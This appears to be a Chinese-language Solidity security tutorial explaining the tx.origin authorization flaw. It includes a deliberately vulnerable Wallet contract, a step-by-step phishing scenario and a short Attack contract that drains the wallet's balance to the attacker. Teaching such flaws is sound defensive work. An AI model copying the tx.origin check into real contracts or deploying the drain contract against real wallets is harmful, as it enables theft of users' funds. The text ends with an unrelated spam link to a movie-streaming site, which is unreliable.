tx.origin
是 Solidity
中的一个全局变量,它返回发送交易的帐户的地址。如果授权帐户调用恶意合约,则使用该变量进行授权可能会使合约容易受到攻击。可以调用通过授权检查的易受攻击的合约,因为tx.origin
返回交易的原始发送者,在本例中是授权帐户。
漏洞代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
contract Wallet {
address public owner;
constructor() payable {
owner = msg.sender;
}
function transfer(address payable _to, uint _amount) public {
require(tx.origin == owner, "Not owner");
(bool sent, ) = _to.call{value: _amount}("");
require(sent, "Failed to send Ether");
}
}
问题分析
合约部署时将部署用户作为当前合约的owner
,并定义了transfer
方法,此方法需要传入一个转账用户地址 _to
和转账数量 _amount
。在第一行通过 require
并使用tx.origin
和owner
判断是否为部署用户,不是将抛出 "Not owner"
,第12
行 向_to
地址 转账 _amount
数量的虚拟币(call
为底层方法),并判断是否转账成功,失败将抛出 "Failed to send Ether"
。
这题主要问题在于在使用tx.origin
作为转账前的检查是不对的,合约本意为检验是否为当前钱包合约的部署用户,但tx.origin
会返回最先发送交易的帐户的地址,而不是上一层调用合约的地址。
例如:
第一步
用户-A
:部署了 Wallet
合约;
攻击者-B
:部署了 钓鱼的恶意合约;
第二步
用户-A
:调用了 攻击者-B
恶意合约
第二步 分析
这个时候如果恶意合约调用了 用户-A
部署的 Wallet合约
,此时合约中的tx.origin
获取的地址为用户-A
的地址,并向_to
地址转账,并不会触发require
的判断,此时攻击者-B
只需要将_to
在攻击合约中定义为个人账户地址,此时用户-A
的用户余额已被转走。
攻击代码
contract Attack {
address payable public owner;
Wallet wallet;
constructor(Wallet _wallet) {
wallet = Wallet(_wallet);
owner = payable(msg.sender);
}
function attack() public {
wallet.transfer(owner, address(wallet).balance);
}
}
基于以上分析写出攻击合约,攻击合约在部署时传入要攻击的Wallet
合约地址,并将个人地址保存在owner
中,在 用户-A
调用 Attack.attack()
方法时,攻击合约将会调用Wallet
合约的transfer
方法,传入攻击者的地址owner
和Wallet
合约账户的所剩余额。
《女士及众生相》剧情片高清在线免费观看:https://www.jgz518.com/xingkong/70380.html